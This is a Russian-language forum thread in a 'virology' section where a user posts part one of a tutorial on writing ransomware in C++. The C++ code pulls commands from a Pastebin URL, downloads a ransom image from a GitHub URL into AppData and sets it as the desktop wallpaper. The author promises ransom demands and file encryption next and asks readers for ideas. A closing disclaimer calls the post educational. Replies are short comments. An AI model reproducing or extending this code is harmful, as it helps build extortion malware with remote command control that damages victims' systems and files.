Загрузка...

[TRASH CODE #2] | Написание простого вируса вымогателя на C++ Часть 1.

Тема в разделе Вирусология создана пользователем ПереигралВсех 6 дек 2021. (поднята 6 дек 2021) 9820 просмотров

Загрузка...
  1. ПереигралВсех
    ПереигралВсех Автор темы 6 дек 2021 Заблокирован(а) 1101 9 фев 2020
    Всем привет, этот гайд о том, как написать не сложный вирус вымогатель на C++.
    Данный гайд предназначен ТОЛЬКО для новичков.
    Опытным людям советую воздержаться от просмотра данной статьи, если вы не хотите сломать свою психику!
    Это первая часть, данная статья будет разделена на несколько статей.
    В 1 части, мы сделаем получение команд с сервера, и смену обоев на рабочем столе!
    ============================================================================================

    1. Для начала создаем пустой проект в C++.
    [IMG]
    2. Скачиваем данные файлы и кидаем их в папку с проектом DL
    (ПКМ по проекту > Открыть папку в проводнике)

    [IMG]
    3. Подключим инклуды.
    #include <iostream>
    #include "windows.h"
    #include "webclient.hpp"

    4. Для удобства пропишем namespace.
    using namespace std;
    using namespace WebClient;


    5. Создадим функцию main.

    Код
    int main()
    {
    }
    6. Добавим получение команды с сервера.
    6.1 Создаем пасту на Pastebin.com (Думаю все справятся)
    6.2 Пишем функцию main код.
    Код

    string url = "https://pastebin.com/raw/JCjtH0se";
    string command = DownloadString(url);
    7. Добавим условие, если команда 0, то сменим обои на раб. столе.

    Пишем код
    Код
        if (command == "0")
    {
    MessageBox(NULL, TEXT("Ooops..."), TEXT("Ransomware"), MB_ICONWARNING);

    string appdata = getenv("AppData");
    string name = "file.jpg";
    string File = appdata + name;

    DownloadFile("https://github.com/Makhronov/test/raw/main/ransom.jpg", (LPCSTR)File.c_str());

    SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, (PVOID)File.c_str(), SPIF_UPDATEINIFILE | SPIF_SENDCHANGE);
    }

    Поясню за код.
    Ставим условие, если строка command = 0, то мы скачаем, и сменим обои на рабочем столе на наши.
    [IMG]
    Вот как выглядит наш код на данный момент.

    На этом думаю закончить 1 часть, во 2 части мы сделаем сообщение о просьбе денег, добавим пару прикалюх в наш вирус, и если успеем то сделаем шифрование файлов.

    Так-же, если у вас имеются идеи для данного вируса, пишите, и я попробую их реализовать.

    [IMG]

    P.S: Данная статья предназначена для ОЗНАКОМЛЕНИЯ, и для того что-бы вы понимали как работают вирусы изнутри, и смогли защищаться от них, ответственность за ваши действия лежит ТОЛЬКО на ВАС!
     
  2. Cockroach
    Cockroach 11 дек 2021 Чекает прочеканые **** 39 8 июн 2021
    Что вообще такое паста с pastebin?
     
    1. ПереигралВсех Автор темы
      Cockroach, pastebin - сервис для хранения текстовой информации
  3. СынСкупкиЮтуба
    Найс запарился броски, пойду чекну вторую часть
     
Top